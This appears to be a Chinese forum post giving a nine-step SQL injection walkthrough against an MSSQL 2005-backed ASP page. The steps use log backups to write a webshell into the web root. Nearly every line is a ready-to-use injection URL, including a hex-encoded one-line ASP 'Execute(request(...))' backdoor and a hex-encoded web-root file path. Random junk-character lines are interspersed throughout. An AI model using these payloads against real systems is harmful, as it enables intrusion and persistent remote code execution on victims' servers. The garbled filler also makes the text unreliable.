Mssql2005 Log备份Webshell

admin

第一步
% E% [, T# {3 M7 V. S! c! ~http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--
1 `3 J0 l! L  e" y. o* X
第二步：
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
' |/ w3 ^7 W3 b9 h6 x
- Q  ]9 Y. ?9 F: Z第三步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第四步
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

9 `3 A# z% v( Y+ A6 q# t, E' ^7 w5 E第五步
3 l! l$ b, l3 }http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
# t% M( m8 }" H, n; r
8 r4 ?) Y* t6 f( P0 }  \第六步
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

7 R2 _' N* o* y" U( K第七步
) z7 i; {5 U( p  D, c0 E- Z4 rhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

5 v% F6 z4 ^5 D0 z  [' k; W+ A+ d第八步
3 x' [4 E4 x3 J( P" }http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
% @0 N/ K+ b; l/ g9 ]/ d
第九步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
; d$ v9 E- B* b2 T0 i7 n/ d! L